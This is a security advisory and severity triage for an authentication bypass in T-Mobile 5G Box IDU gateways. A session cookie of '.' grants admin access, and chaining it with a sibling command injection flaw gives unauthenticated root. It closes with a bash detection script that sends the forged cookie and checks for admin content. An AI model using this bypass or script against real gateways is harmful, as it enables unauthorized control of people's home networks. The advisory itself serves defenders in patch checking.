WNC T-Mobile 5G Box IDU router contains an authentication bypass vulnerability in the portal.cgi component.

CVE-2026-40854 is an authentication bypass in WNC-manufactured T-Mobile 5G Box IDU home internet gateways running firmware prior to 1.1.0.651412. The portal.cgi admin interface validates session cookies by checking whether a matching filename exists under /tmp/login_user/. An attacker on the adjacent network can set the sessionid cookie to . or .. — entries that always exist in any UNIX directory — and walk straight into the admin panel with no credentials. When chained with CVE-2026-40855 (authenticated OS command injection in the same portal.cgi ping function), this becomes unauthenticated root-shell on the gateway. All firmware versions prior to 1.1.0.651412 are affected.

The CVSS 4.0 base score of 8.7 (AV:A) already reflects the adjacent-network limitation, but for enterprise defenders managing corporate fleets the real-world severity is lower. This is a consumer/SOHO 5G home internet gateway — not an enterprise network edge appliance, domain controller, or identity provider. The device is distributed by T-Mobile to residential broadband subscribers (primarily in European markets via WNC/Wistron NeWeb). Its admin interface is only reachable from the local WiFi/LAN segment; it is not exposed to the internet. Unless your organization deploys these specific WNC-branded T-Mobile gateways in branch offices or kiosks — which is uncommon — the blast radius to your enterprise is negligible. The CVSS 8.7 is technically accurate for a home user on the same WiFi, but overstates the risk for a typical enterprise patch queue.

Why this verdict

• Adjacent-network requirement (AV:A) eliminates remote attack surface. The admin panel is only reachable from the local WiFi/LAN segment. Internet-based attackers cannot reach it. This is the single largest friction factor and removes the vulnerability from any internet-facing risk calculus.
• Consumer/SOHO device with negligible enterprise footprint. The WNC T-Mobile 5G Box IDU is a residential broadband gateway. Enterprise networks do not deploy these as managed infrastructure. The population of affected devices in a typical 10,000-host enterprise fleet is effectively zero.
• Trivial exploitation preserves MEDIUM floor. The auth bypass requires only setting a cookie to . — no tooling, no race condition, no memory corruption. Combined with CVE-2026-40855, this yields unauthenticated root in two HTTP requests. This mechanical simplicity prevents a LOW rating.
• Role multiplier: consumer gateway, not enterprise edge. While this device IS a network perimeter for its home network, it is not an enterprise network edge appliance (F5, Palo Alto, FortiGate). Fewer than 0.1% of enterprise-managed device inventories would include this hardware. The high-value-role floor does not apply because the component is not canonically an enterprise infrastructure device. Compromise yields root on a single home gateway — blast radius is host-level, not domain/fleet/supply-chain.

Why not higher?

A HIGH or CRITICAL rating would require either internet-facing exposure, active exploitation, or deployment in an enterprise-critical role. This CVE has none of those. The adjacent-network vector means an attacker must already have local network access, which for a home gateway implies physical proximity or a separate initial compromise. The device class (consumer 5G gateway) is outside the enterprise high-value-role catalog, so the blast-radius floor does not elevate the verdict.

Why not lower?

A LOW rating would understate the risk because the exploit is *trivially* simple — a single cookie value — and chains directly to root shell via a sibling CVE in the same firmware. For organizations that DO have these devices (e.g., in kiosk, pop-up retail, or temporary branch deployments using T-Mobile 5G Home Internet), the chain is devastating. The mechanical ease of exploitation and the root-level impact on the device itself anchor the floor at MEDIUM.

1. Change the default WiFi PSK to a strong, unique passphrase — The primary attack prerequisite is adjacent-network access. A strong WiFi passphrase prevents casual attackers from joining the network. This is the single most effective compensating control for AV:A vulnerabilities on consumer gateways. No mitigation SLA applies at MEDIUM — go straight to the 365-day remediation window.
2. Enable automatic firmware updates on the gateway — T-Mobile delivers firmware OTA. Ensure the device is configured to accept automatic updates so it receives version 1.1.0.651412 without manual intervention. Most consumer gateways have this enabled by default.
3. Segment the gateway from enterprise assets — If using a T-Mobile 5G Box IDU for any business purpose, ensure enterprise endpoints connect through a VPN or ZTNA overlay — never trust the gateway's LAN as a security boundary.
4. Monitor for CVE-2026-58146 (unauthenticated RCE sibling) — CVE-2026-58146 in the same firmware batch is unauthenticated command injection via cli_cookie — it does not even need the auth bypass. The same firmware update fixes both. Prioritize awareness of the full 6-CVE batch.

Run this on any Linux/macOS machine connected to the same LAN as the T-Mobile 5G Box IDU gateway. Usage: bash check_cve_2026_40854.sh 192.168.12.1 (replace with your gateway IP). No special privileges required — it just sends an HTTP request.

#!/usr/bin/env bash
# check_cve_2026_40854.sh — Test for CVE-2026-40854 auth bypass
# Usage: bash check_cve_2026_40854.sh <gateway_ip>
# Exit codes: 1=VULNERABLE, 0=PATCHED, 2=UNKNOWN

set -euo pipefail

GW_IP="${1:-192.168.12.1}"
URL="http://${GW_IP}/cgi-bin/portal.cgi"
TIMEOUT=5

echo "[*] Testing CVE-2026-40854 against ${GW_IP}"
echo "[*] Sending request with sessionid=. to portal.cgi"

HTTP_CODE=$(curl -s -o /tmp/cve_2026_40854_resp.txt -w '%{http_code}' \
  --connect-timeout "${TIMEOUT}" \
  --max-time "${TIMEOUT}" \
  -b "sessionid=." \
  "${URL}" 2>/dev/null || echo "000")

if [ "${HTTP_CODE}" = "000" ]; then
  echo "[!] UNKNOWN — could not connect to ${GW_IP}. Is this a WNC T-Mobile 5G Box IDU?"
  rm -f /tmp/cve_2026_40854_resp.txt
  exit 2
fi

# Check if the response contains admin panel content
# (authenticated pages typically include config/settings elements)
if grep -qi -e 'logout' -e 'admin' -e 'settings' -e 'configuration' -e 'ping_ip' /tmp/cve_2026_40854_resp.txt 2>/dev/null; then
  echo "[!] VULNERABLE — authentication bypassed with sessionid=. (HTTP ${HTTP_CODE})"
  echo "[!] Firmware is prior to 1.1.0.651412. Update immediately."
  rm -f /tmp/cve_2026_40854_resp.txt
  exit 1
elif [ "${HTTP_CODE}" = "200" ]; then
  # 200 but no admin content — might be login page (patched)
  if grep -qi -e 'login' -e 'password' -e 'sign in' /tmp/cve_2026_40854_resp.txt 2>/dev/null; then
    echo "[+] PATCHED — received login page, session forgery rejected."
    rm -f /tmp/cve_2026_40854_resp.txt
    exit 0
  else
    echo "[?] UNKNOWN — HTTP 200 but unclear response. Manual review needed."
    rm -f /tmp/cve_2026_40854_resp.txt
    exit 2
  fi
elif [ "${HTTP_CODE}" = "302" ] || [ "${HTTP_CODE}" = "401" ] || [ "${HTTP_CODE}" = "403" ]; then
  echo "[+] PATCHED — gateway rejected forged session (HTTP ${HTTP_CODE})."
  rm -f /tmp/cve_2026_40854_resp.txt
  exit 0
else
  echo "[?] UNKNOWN — unexpected HTTP ${HTTP_CODE}. Manual review needed."
  rm -f /tmp/cve_2026_40854_resp.txt
  exit 2
fi

Sources

1. CERT Polska Advisory
2. Strix.ai CVE-2026-40854 Detail
3. OffSeq Threat Radar — CVE-2026-40854
4. Mallory.ai — Six Flaws in T-Mobile 5G Box IDU
5. Malware News — WNC T-Mobile 5G Box IDU Vulnerabilities
6. THREATINT CVE-2026-40854
7. Strix.ai CVE-2026-40855 (Command Injection Sibling)